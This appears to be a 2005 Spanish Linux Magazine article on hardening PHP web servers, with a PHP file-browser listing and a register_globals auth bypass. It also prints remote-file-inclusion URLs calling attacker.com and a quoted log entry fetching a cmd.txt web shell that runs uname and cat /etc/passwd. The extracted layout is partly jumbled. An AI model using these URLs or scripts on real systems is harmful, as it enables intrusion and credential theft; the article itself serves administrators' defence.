Está en la página 1de 7

068-074_Webairbag_Linuxt5 20.04.

2005 13:00 Uhr Pgina 68

ADMINISTRACIN Seguridad PHP

PHP Seguro en entornos multiusuarios

AIRBAG PARA SERVIDORES WEBS


original photo: www.sxc.hu

Permitir que los usuarios instalen scripts PHP de forma arbitraria puede poner en peligro la seguridad del servidor web. Un pequeo error es todo lo que se necesita para que un atacante tenga acceso a los ficheros del sistema o la shell. Pero los administradores tienen una lnea final de proteccin la cual utiliza las opciones de PHP para minimizar el riesgo. POR PEER HEINLEIN

a mayora de los proveedores Web permiten en la actualidad la ejecucin de scripts PHP. Los usuarios pueden ejecutar sus propias aplicaciones de servidor en el servidor - y exponerse ellos mismos a un riesgo mucho mayor del que puedan suponer. Sin embargo, PHP implica menos exposicin al riesgo que los scripts CGI.

Agujero
El Listado 1 muestra un administrador de ficheros que podemos usar para comprobar el espacio web a asegurar. Despus de subir el administrador de ficheros al sitio web, podemos usarlo para tener un acceso fcil al disco duro, incluido el nivel raz, si el intrprete de PHP nos permite llegar hasta ah. Como el intrprete se ejecuta en el mismo contexto que el servidor web Apache, podramos tener acceso a /etc/passwd y los directorios webs de otros usuarios, incluido los ficheros ./htpasswd almacenados en esos directorios. El directorio /tmp es tambin interesante ya que a menudo contiene ficheros que el administrador ha olvidado, como listados de ficheros o usuarios, volcados

de la base de datos y otros ficheros con informacin interna. La Figura 2 muestra un posible listado. La documentacin de PHP en [1] tiene ejemplos de parmetros y funciones, as como algunos captulos sobre seguridad [2]. El antiguo pero interesante HOWTO sobre instalacin de un servidor web seguro de Marc Heuse en [3] tambin proporciona una buena visin.

Seguridad Relativa
Si esta es la primera vez que se interesa por la seguridad en PHP, probablemente se haya dado cuenta de que en el fichero php.ini hay un parmetro, cuyo nombre suena bastante prometedor, safe_mode. Esta opcin le indica a PHP que realice unas comprobaciones adicionales de seguridad. Entre otras cosas, en el acceso a los ficheros, el intrprete comprueba si el ID del usuario para el fichero es el mismo que el ID del usuario para el script invocado. Esto es un intento por parte de PHP para impedir que los usuarios lean ficheros que no les pertenezca, aunque el sistema de ficheros les de permiso para leerlos.

Sin embargo, este mtodo tiene algunos inconvenientes. Los ficheros creados por PHP en tiempo de ejecucin - imgenes subidas, ficheros cach o simplemente ficheros de un libro de visitas - normalmente tienen el ID del usuario del servidor Web, a pesar de que el script PHP tenga el ID del usuario que lo subi va FTP. En este caso, safe_mode ocasionara problemas de accesos. La comprobacin de los permisos de los ficheros es tan slo un pequeo paso hacia la seguridad, pero tiene poca utilidad por s misma. El parmetro no hace honor a su presuntuoso nombre. Adems, existen problemas con la implementacin a veces PHP no realiza comprobaciones safe_mode correctamente. La ventaja, en realidad, puede llegar a ser una desventaja, ya que los administradores pueden pensar que estn a salvo [4] y no tomar ninguna otra medida de seguridad. open_basedir proporciona ms proteccin con menos elementos. Incluso si safe_mode funciona, an se debera con-

68

Nmero 05

WWW.LINUX- MAGAZINE.ES

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Pgina 69

Seguridad PHP ADMINISTRACIN

Figura 3: open_basedir permite a los administradores restringir los scripts PHP a los ficheros del espacio reservado del servidor. La zona del sistema de ficheros a la que el Figura 2: Un script de PHP accede libremente a un servidor inseguro. El sencillo gestor de ficheros en PHP del Listado 1 es todo lo que necesitamos para darnos un paseo por el disco. servidor virtual tiene resaltada en otro color. acceso aparece

siderar open_basedir como una precaucin extra.

Open_basedir Caballero de Armadura Resplandeciente?


open_basedir permite a los administradores definir una o ms rutas. A los

scripts PHP tan slo se les permite acceder a ficheros en estos directorios (Figura 3). Suponiendo que php.ini tenga la entrada open_basedir = /srv/www/htdocs, PHP devolver un error ante cualquier intento por acceder a un fichero que est fuera de este directorio.

Esta restriccin al $HTDOCROOT de Apache impide el acceso al disco entero, sin embargo, los usuarios del servidor web an pueden leer y escribir en los directorios de los dems usuarios, a menos que los permisos de los ficheros UNIX impidan que lo hagan. El navegador de ficheros del Listado 1

CGI y PHP
Un programa CGI se ejecuta en el servidor como un proceso independiente. Un proceso CGI con los privilegios de accesos necesarios tiene las mismas capacidades que un proceso de usuario, incluyendo acceso al hardware y al sistema de ficheros e incluso acceso a las variables del sistema, la lista de procesos, la lista de usuarios y a muchas otras cosas ms. Hay que poder confiar en sus usuarios para permitirles que ejecuten sus propias CGIs (Figura 1). Por el contrario, los scripts PHP se ejecutan en una caja de arena proporcionada por el intrprete de PHP como un componente del servicio Apache. Los entornos Linux se configuran tpicamente para operaciones multiusuarios seguras, pero hay que distinguir entre los agujeros de seguridad que se puedan explotar localmente de los que se puedan explotar remotamente. Un atacante local puede ocasionar mucho ms dao de lo que lo pueda hacer uno remoto y un script CGI expone al sistema a los mismos riesgos que un saboteador local. Adems, es mucho ms difcil conseguir los permisos de los ficheros en un servidor web que en una aplicacin de escritorio. Hay que asignar al menos permisos de lectura tanto al ID del usuario del servidor web como al usuario que crea las pginas de cualquier fichero que se publique en la web. Pero en un entorno multiusuario, incluso un simple acceso de lectura de esta clase puede ser un problema, si se necesita evitar que los usuarios externos lean las contraseas de las bases de datos. Si hay que asignar permisos de escritura para su espacio web, por ejemplo, para los libros de visita o galeras de imgenes, algunos HOWTO recomiendan chmod 777 - es casi un suicidio, que completamente abre los directorios y que por desgracia ha sucedido anteriormente en algunos servidores. Manteniendo los Usuarios Aparte Es ms o menos imposible mantener a los usuarios separados de manera que no puedan acceder a los datos de sus vecinos usando la configuracin de CGI por defecto. Con algo de esfuerzo adicional, los administradores pueden al menos impedir que los servidores FTP permitan chmod 777. Y las envolturas que proporcionan Apache para las CGIs facilitan una capa ms de seguridad, asegurndose de que los programas CGI se ejecutan con el ID del usuario propietario, en vez de con los privilegios del servidor Apache. Los administradores disponen de muchas ms opciones con PHP. La opcin open_basedir que hemos estado viendo en este artculo le indica al intrprete de PHP que compruebe si el script tiene permiso para acceder al directorio especificado adems de comprobar los permisos del fichero.

Figura 1: En contraste, los scripts PHP se ejecutan en una caja de arena proporcionada por el intrprete de PHP, como un componente del servicio Apache.

WWW.LINUX-MAGAZINE.ES

Nmero 05

69

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Pgina 70

ADMINISTRACIN Seguridad PHP

sera capaz de producir el resultado de la Figura 2. La manera de manejar esta situacin es crear un open_basedir para cada dominio albergado, o usuario, para restringir el acceso a un directorio nico. Afortunadamente, PHP puede usar el parmetro php_admin_value en la definicin del host virtual de Apache para imponer las restricciones necesarias (Listado 2). Para poner varios directorios, hay que separarlos por puntos y comas. Despus de aplicar el nuevo nivel de seguridad y rearrancar el servidor web Apache, el servidor denegar el acceso a los directorios de los

otros usuarios, como se muestra en la Figura 4.

Apache vs. PHP


La lnea 10 de nuestro ejemplo permite el acceso al directorio /usr/share/php adems de las carpetas en el dominio /srv/www/htdocs/www.example.com. El directorio contiene las bibliotecas comunes de PHP y los paquetes PEAR (PHP Extension and Application Repository). Por defecto, upload_tmp_dir apunta al directorio /tmp, que proporciona acceso global de escritura. Esto no es una configuracin para un entorno seguro. Es importante que se asigne un directorio

temporal a cada dominio (lnea 12) y que se guarde la informacin de cada sesin de forma individual para cada dominio (lnea 13). Como la configuracin para upload_tmp_dir especifica un directorio bajo srv/www/htdocs/www.example.com, el script PHP tiene acceso a pesar de las restricciones de open_basedir. Si esto no fuera as, la lnea 10 tambin necesitara incluir la ruta al directorio.

Validacin de Entrada
Los administradores a menudo subestiman el riesgo que una configuracin insegura lleva asociada y de la clase de

Listado 1: Administrador de Ficheros


01 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 02 Transitional//EN"> 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 <html><head><title> Filebrowser v1.0 -- Peer Heinlein </title></head> <body> <? if(isset($_GET['path'])) { // Leer variables si register_globals=off $path = $_GET['path']; // Si fichero, mostrar contenido if(is_file($path)) { $file = fopen($path,"r"); print "<pre>"; while (!feof($file)) { $zeile = fgets($file, 4096); print htmlentities($line,ENT_QUOTES); } 41 print "<a href=\"" . $_SERVER['PHP_SELF'] 42 . "?path=/\">..</a><br>"; 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 } else { print "<a href=\"" . $_SERVER['PHP_SELF'] . "?path=" . substr($path,0,strrpos($path,"/")) . "\">..</a><br>"; } } else { print "<a href=\"" . $_SERVER['PHP_SELF'] . "?path=" . (($path == "/") ? "" : $path) . "/" . rawurlencode($file) . "\">$file</a>"; // listar atributos fichero $mode = (is_writeable($filepath)) ? ", mode: writeable " : ""; $stat = stat($filepath); $uid = $stat[4];

20 print "</pre></body></html>"; 21 fclose($file); 22 exit; 23 } 24 25 // Si path, mostrar listado de directorio 26 print "<pre><b>Content of $path</b><br><br>"; 27 $dir = opendir($path); 28 while($file = readdir($dir)) { 29 30 31 32 $filepath = $path . "/" . $file; if(is_dir($filepath)) print "[DIR ] "; elseif(is_file($filepath)) print "[FILE] "; elseif(is_link($filepath)) print "[LINK] ";

60 $gid = $stat[5]; 61 $size = $stat[7]; 62 print " [ uid: $uid, gid: $gid, size: 63 $size $mode]"; 64 } 65 } 66 closedir($dir); 67 print "</pre>"; 68 } else { 69 70 71 72 74 75 76 77 ?> <form action="" method="get"> Directory?<br> <input type="text" name="path"> <input type="submit" value="display"> </form> <? }

33 else print " "; 34 35 if($file == ".") 36 print "<a href=\"" . $_SERVER['PHP_SELF'] 37 . "?path=$path\">.</a><br>"; 38 elseif($file == "..") { 39 if(substr($path,0,strrpos($path,"/")) == "") 40 {

73 <br><br>

78 ?> 79 </body> 80 </html>

70

Nmero 05

WWW.LINUX- MAGAZINE.ES

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Pgina 71

Seguridad PHP ADMINISTRACIN

usuarios de la que tienen que protegerse. En algunos casos, los atacantes remotos pueden subir sus propios cdigos PHP al servidor y ejecutarlos, sin la necesidad de acceder por FTP al espacio web. El peligro real no es una cuestin de confiar en los usuarios legtimos. La tcnica que permite a los usuarios de la web aadir su propio cdigo manipulado a los libros de visitas mal implementados, registros web u otros campos de entradas, se conoce como inyeccin de cdigo. Si la aplicacin de servidor simplemente pasa al libro de visitas la entrada sin realizar una validacin de la entrada, el servidor podra ejecutar el comando del atacante cuando otro usuario vea la entrada. Las aplicaciones deberan devolver solamente texto ASCII, pero incluso entonces, los atacantes pueden evitar ser descubiertos incluyendo etiquetas de cierre que engaen al intrprete de PHP hacindole creer que ha llegado al final del libro de visitas y aadir el cdigo daino. Es difcil para los administradores impedir que esta clase de ataques ocurran en sus servidores webs. De hecho, es el trabajo de los programadores validar y eliminar las entradas peligrosas: vase el cuadro Programacin PHP segura. Sin embargo, PHP puede proteger los datos que el script ha obtenido (usando GET, POST o las cookies) escapando las comillas peligrosas y de esta forma mitigar el riesgo. Una configuracin global llamada magic_quotes_qpc=on del php.ini se encarga de ello. Pero esta

Figura 4: Esta es la clase de mensaje de error que cualquier administrador aprecia. Gracias a

open_basedir, PHP impide accesos no autorizados al listado del directorio del script (vase la Figura 2).

opcin no reemplaza el grado de paranoia que deberan tener los programadores de PHP. Es trabajo de los administradores el mitigar los daos colaterales. Un ataque por inyeccin cdigo podra afectar a un programador de PHP despreocupado, pero no debera permitirse que dae al resto de usuarios inocentes del servidor. La opcin open_bassedir es una buena forma para conseguirlo. Impide que el cdigo PHP inyectado pueda expandirse por los datos de otros usuarios.

como una ruta para el comando PHP include:


http://www.example.comU /cms/index.php? U id=info/appointments.txt

Manipulando la URL se puede obtener informacin que el servidor Apache no proporciona por buenas razones:
http://www.example.comU /cms/index.php? U id=intern/.htpasswd

HTTP y Cdigo Malicioso


Los scripts PHP que no manejan los IDs de las pginas de forma correcta, suelen preparar las inclusiones de los ficheros de forma poco cuidadosa y son un objetivo fcil para los atacantes. La siguiente URL muestra como un sencillo script index.php acepta la variable $id

Listado 2: Open_basedir por dominios


01 <VirtualHost 192.168.99.99:80> 02 ServerAdmin webmaster@example.com 03 DocumentRoot /srv/www/htdocs/www.example.com/html 04 ServerName www.example.com 05 ErrorLog /var/log/httpd/www.example.com-error 06 CustomLog /var/log/httpd/www.example.com-access_log combined 07 08 09 10 11 # open_basedir restringido a DocumentRoot, a las libreras PHP # y posiblemente al directorio PHP-tmp php_admin_value open_basedir /srv/www/htdocs/www.example.com:/usr/share/php

Al menos los administradores pueden confiar en que open_basedir impida que otros usuarios accedan a estos datos. Los atacantes tan slo veran los ficheros en el dominio vulnerable. Pero no hay que suponer que los atacantes estn restringidos a los enlaces de los ficheros del dominio. El comando PHP include tambin maneja URLs por defecto y usar FTP o HTTP para cargar ficheros PHP. Si un atacante manipula la URL y hace que apunte a algn cdigo PHP de un servidor web remoto, el servidor comprometido cargar este cdigo, lo insertar en un punto adecuado y lo ejecutar. La Figura 5 muestra este procedimiento. La URL manipulada contiene la direccin del servidor del atacante:
http://www.example.comU /cms/index.php? id=http://www.attacker.comU /hackcode.php

12 # seguridad adicional suministrados por rutas individuales por dominio 13 php_admin_value upload_tmp_dir /srv/www/htdocs/www.example.com/tmp 14 php_admin_value session.save_path 15 /srv/www/htdocs/www.example.com/session 16 </VirtualHost>

WWW.LINUX- MAGAZINE.ES

Nmero 05

71

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Pgina 72

ADMINISTRACIN Seguridad PHP

Para remediar este problema se puede usar el parmetro de php.ini:


allow_url_fopen_= no

direccin IP, para antes de terminar aadir el contenido de /etc/passwd.

URLs sospechosas
Los administradores ocasionalmente deberan copiar las URLs sospechosas en sus navegadores y comprobar cmo se comportan sus sitios webs frente a estos ataques. Si el sitio web muestra cualquier clase de informacin que el atacante desea ver, entonces debera proponerse echar unas cuantas horas extras reconfigurando el servidor. El hecho de que una URL maliciosa aparezca en los ficheros de registro no significa necesariamente que haya sido hackeado. Sino que alguien ha intentado ejecutar comandos del sistema en su mquina. Si le sucede esto, debera seguir los siguientes pasos: En el cortafuegos, impida que su servidor web solicite peticiones FTP externas o fuentes HTTP (salida de datos TCP al

Al comprobar los ficheros de registros de muchos servidores web se revela que hay hackers que sistemticamente buscan vulnerabilidades en los sitios webs. Gracias a Google, el encontrar bastantes URLs interesantes no es ningn problema para los posibles atacantes. Por ejemplo, si se busca =http:// en su propio fichero de registro, access de Apache podra encontrar casos sospechosos que valdra la pena investigar. Parmetros con URLs completas no son necesariamente sospechosas, como se da en los servicios de traduccin o en anonimizadores para otros sitios webs. Pero una ocurrencia de esta cadena en su sitio web es un sntoma de que algo puede ir mal.

puerto de destino 80). Si necesita utilizar conexiones HTTP para actualizaciones de Linux o del antivirus, debera restringir estas conexiones a la pgina web de dichas empresas. Explique los principios de programacin PHP cuidadosa a sus usuarios. Si es posible, deshabilite la ejecucin de comandos del sistema en PHP. PHP tiene una opcin til que deshabilita los comandos peligrosos en el intrprete de PHP. Para deshabilitarlo, aada lo siguiente en el fichero php.ini:
disable_functions = system, U exec,shell_exec, passthru, U phpinfo, show_source

La Shell PHP
El script cmd.txt (cmd.php) es interesante, ingenioso y uno de los mejores amigos de los hackers. El script espera un parmetro, cmd e intenta usar exec() o system() para ejecutar el parmetro como un comando Linux. Si lo realiza con xito, le suministra al atacante una shell flexible. Los atacantes pueden usar la barra de direcciones del navegador para introducir comandos UNIX. La siguiente entrada en mi propio fichero de registro muestra lo que sucede si falla a la hora de proteger su servidor. La cadena %20 es el carcter espacio codificado en formato URL:
http://www.heinlein-support.deU /index.php?id=http: U //farpador.ubbi.com.br/U cmd.txt?&cmd=uname%20-U a;cat%20/proc/U version;uptime;id;pwd; U /sbin/ifconfig|U grep%20inet;cat%20U /etc/passwd

Las palabras reservadas system, exec, shell_exec y passthru permiten a los scripts de PHP lanzar comandos Linux

Programacin PHP Segura


Ms que nadie, es el programador de PHP el responsable de la seguridad del sitio web. Regla nmero 1: No confiar en nadie. Cuando se crean sitios webs, sgase estas reglas: 1. Nunca confie en una variable que no haya asignado usted mismo Antes de usar una variable, asegrese de que la inicializa con un valor conocido (Listado 4, lnea 2). De otra manera, un register_globals=off permitir a un atacante manipular sus variables. 2. Compruebe las rutas de los ficheros antes de incluirlos Aunque los accesos a rutas externas estn restringidos por la opcin open_basedir, hay bastantes ficheros en su propio sitio web que no deberan ser accesibles al pblico en general, por ejemplo, .htpasswd o el fichero con las contraseas de sus bases de datos MySQL. Si su script hace uso de un parmetro que le indique la ruta para el fichero que se va a incluir, debera comprobar si se permite incluir el fichero. Una mala comprobacin permitira a un atacante sustituir las rutas. Las expresiones regulares proporcionan una manera fcil de validar las entradas. Su mejor opcin es permitir slo los caracteres inofensivos. Si esto no funciona, debera comprobar que el nombre de fichero empieza por un punto y renombre cualquier dato sensible que empiece por un punto. La funcin regexp debera impedir la aparicin de .. en los nombres de ficheros. Los ficheros a incluir deberan estar ubicados en un subdirectorio previamente definido, cuya ruta debera estar ya puesta en las sentencias de inclusin. 3. Valide todas las entradas de los usuarios Todas las entradas de usuario, independientemente de su forma (URL, cookie o basadas en formularios) deberan ser validadas por sus scripts antes de almacenarse. En particular, el script debera comprobar posibles etiquetas HTML no autorizadas o cdigo de programa PHP en el texto introducido. La entrada podra incluir al final ;, por ejemplo, lo que ocasionara que el interprete de PHP ejecutara cualquier cdigo PHP que le siguiese (Inyeccin de cdigo PHP). El intrprete supondr que ; termina la entrada. Los atacantes podran entonces inyectar un comando SQL para terminar los datos que el programa pasa a la base de datos MySQL e insertar cdigo malintencionado en este punto (SQL injection). No hay que escribir el cdigo que valide las entradas por uno mismo: PHP cuenta con addslashes(), quote_meta() y mysql_real_escape_string() para escapar a estos caracteres especiales y strip_tags() para eliminar las etiquetas HTML y PHP.

Esta URL intenta cargar la shell PHP, cmd.txt, desde http://farpador/ubbi.com.br. La llamada tambin pasa un comando de la shell de UNIX para pedirle al sistema operativo el tiempo de ejecucin, el ID del usuario, el directorio home y la

72

Nmero 05

WWW.LINUX- MAGAZINE.ES

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Pgina 73

Seguridad PHP ADMINISTRACIN

Listado 3: Script inseguro


01 <? 02 if($username == "tux" && 03 $password == "blabla") { 04 $auth = 1; 05 } 06 07 if($auth == 1) { 08 print "rea Interna "; 09 } else { 10 p r i n t " L o s i e n t o : A c c e s o Denegado"; 11 } 12 ?>

los comandos Linux no saben nada acerca de las restricciones PHP y podrn abrir cualquier fichero que sea accesible para el servidor web. Pero incluso si realmente necesita permitir la funcin exec(), an hay una forma de protegerse:
safe_mode_exec_dir = U /srv/www/bin

Listado 4: Script seguro


01 <? 02 $auth = 0; 03 $uid = $_GET['username']; 04 $pwd = $_GET['password']; 05 06 if($uid == "tux" && $pwd == 07 "blabla") { 08 $auth = 1; 09 } 10 11 if($auth == 1) { 12 print "rea Interna

externos con los privilegios del servidor web. Estas funciones PHP no se requieren habitualmente en un servidor web normal; de hecho, casi cualquier script se debera hacer sin necesitad de usar los comandos de Linux.

Deshabilitando funciones PHP


La proteccin open_basedir realmente no funciona hasta que no se deshabiliten estas funciones. Recuerde que

Los administradores pueden usar el php.ini para asignar un directorio donde ejecutar los programas Linux (o enlaces simblicos a las herramientas permitidas). Esto al menos impide que los scripts PHP ejecuten programas arbitrarios. Se necesita activar safe_mode para realizar esto. La funcin show_source se utiliza poco y no tiene sentido usarla en un entorno de produccin, ya que ofrece a los hackers sus scripts PHP en bandeja de plata, incluyendo posiblemente las claves de sus bases de datos, coloreando el cdigo de sus scripts para hacer la lectura de los mismos ms confortable.

";

13 } else { 14 p r i n t " L o s i e n t o : A c c e s o Denegado"; 15 } 16 ?>

A algunas personas les gusta ejecutar phpinfo() para mostrar los detalles del servidor web. Aunque esta informacin es inofensiva en s misma y los valores por defecto son conocidos, cualquier rastro de informacin que un atacante pueda conseguir en su bsqueda de vulnerabilidades podra ser decisiva. Las

068-074_Webairbag_Linuxt5 20.04.2005 13:00 Uhr Pgina 74

ADMINISTRACIN Seguridad PHP

scripts PHP favoritos no buenas costumbres dictan volvern a funcionar ms que los administradores en el servidor por falta de deben evitar que cualquier un buen estilo de prograinformacin interna sea macin, aunque sus accesible desde el exterior. scripts tuvieran 9.5 de 10 Muchos de los usuarios de puntos de sus adorables espacios webs dejan usuarios. ficheros como phpinfo.php Los desarrolladores de por el sitio, exponiendo PHP estn al tanto de que informacin valiosa a los la Web es un lugar poco ojos de cualquiera que se amigable y se las han tome la molestia de arreglado para cambiar el recogerla. Figura 5: Los scripts PHP mal programados permiten a los atacantes comportamiento por Para estar seguro, inyectar su propio cdigo en la pgina. Si se le pide que lo haga, PHP cardefecto de la versin 5, debera deshabilitar la fungar este cdigo desde un servidor Web remoto. estableciendo cin de informacin y en register_globals=off. PHP5 no suminisvez de ello, debera crear un fichero nistrador podra evitar tambin esta vultra ninguna herramienta nueva para forHTML esttico con la salida de nerabilidad: talecer la seguridad de su servidor. phpinfo(), si se necesitara. Incluso podra proteger por medio de una conregister_globals=off Conclusin trasea el acceso a este fichero para restringir el acceso a esta informacin. Esta configuracin impide que PHP Unos sencillos pasos es todo lo que se almacene los parmetros de la URL en necesita para proporcionar a sus usuaAlmacenamiento Variables variables. Al mismo tiempo, rompe la rios la clase de seguridad que necesitan. consulta de la contrasea en la lnea 2. Muchos de los problemas actuales simAdems debera aadir la lnea El script necesitar usar los arrays gloplemente desaparecen sin la necesidad register_globals=off en php.ini. Esto bales reservados $_GET, $_POST o de dolores de cabeza. Las medidas evita errores de programacin y fuerza a $_COOKIE para evaluar los parmetros. descritas en este artculo deberan ser los programadores a generar un cdigo El Listado 4 muestra un script ms elaboparte de su postura de seguridad. s ms limpio. Establecer register_glorado que soluciona esto. bals=on significa que PHP crear variables para reflejar los parmetros de la RECURSOS El Efecto de Deshabilitar URL. La siguiente URL asignara el valor Register_globals tux a la variable $username y southpole a [1] Documentacin PHP: http://www.php. $password: A causa de todos los cambios que hay net/docs.php que realizar en los scripts PHP, es bas[2] Manual de Seguridad PHP: http://de2. tante difcil, pasar de un servidor con http://www.example.com U php.net/manual/de/security.index.php register_globals=on a register_glo/index.php?username= U [3] Marc Heuse, Installing a Secure Web bals=off. Los usuarios a menudo se quetux&password=southpole Server: http://www.suse.de/de/ jan y no comprenden por qu tienen que private/support/online_help/howto/ cambiar sus scripts que hasta ahora funUn programa mal diseado empleara secure_webserv/ cionaban correctamente. esta caracterstica para evaluar y usar los [4] Crtica a PHP safe_mode: http://ilia.ws/ Pero definitivamente, vale la pena el parmetros de la URL. El script en el Lisarchives/ esfuerzo, ya que protege a los progratado 3 parece, a primera vista, que es 18_PHPs_safe_mode_or_how_not_to_ implement_security.html madores de su propia ignorancia. una forma inofensiva de autenticacin, Debera procurar completar el cambio en pero un atacante podra teclear la sivarios pasos. Anunciando el cambio con guiente URL para adivinar la contrasea: Peer Heinlein ha antelacin para darle la oportunidad a ejercido de Proveelos usuarios de revisar su cdigo con http://www.example.com U dor de Servicios de tiempo. Entonces, se podra establecer /index.php?auth=1 Internet desde 1992. register_globals=off durante unas cuanAparte de su libro de tas horas. Y los usuarios tendran esta El parmetro auth sin datos del login Postfix, Peer ha puboportunidad para comprobar sus scripts revelar datos internos. La supuesta licado otros dos libros en LPIC-1 y Snort Sisy corregir los errores. inofensiva comprobacin de la lnea 6 temas de deteccin de intrusiones Los servidores web nuevos tendran supondr que el usuario est autentifien Open Source Press. La empresa que desactivar esta opcin, aunque cado. El programador de PHP debera de Peer, www.heinlein-support.de, debera estar preparado para discutir tener la variable inicializada, $auth=0, ensea y forma administradores y este tema con los usuarios. Algunos al comienzo del script o aadir una rama proporciona consultora y servicios usuarios de su red podran no ser else a la condicin para proporcionar un de soporte en toda Europa. capaces de comprender por qu sus estado definido. Como se dijo, el admi-

74

Nmero 05

WWW.LINUX- MAGAZINE.ES

EL AUTOR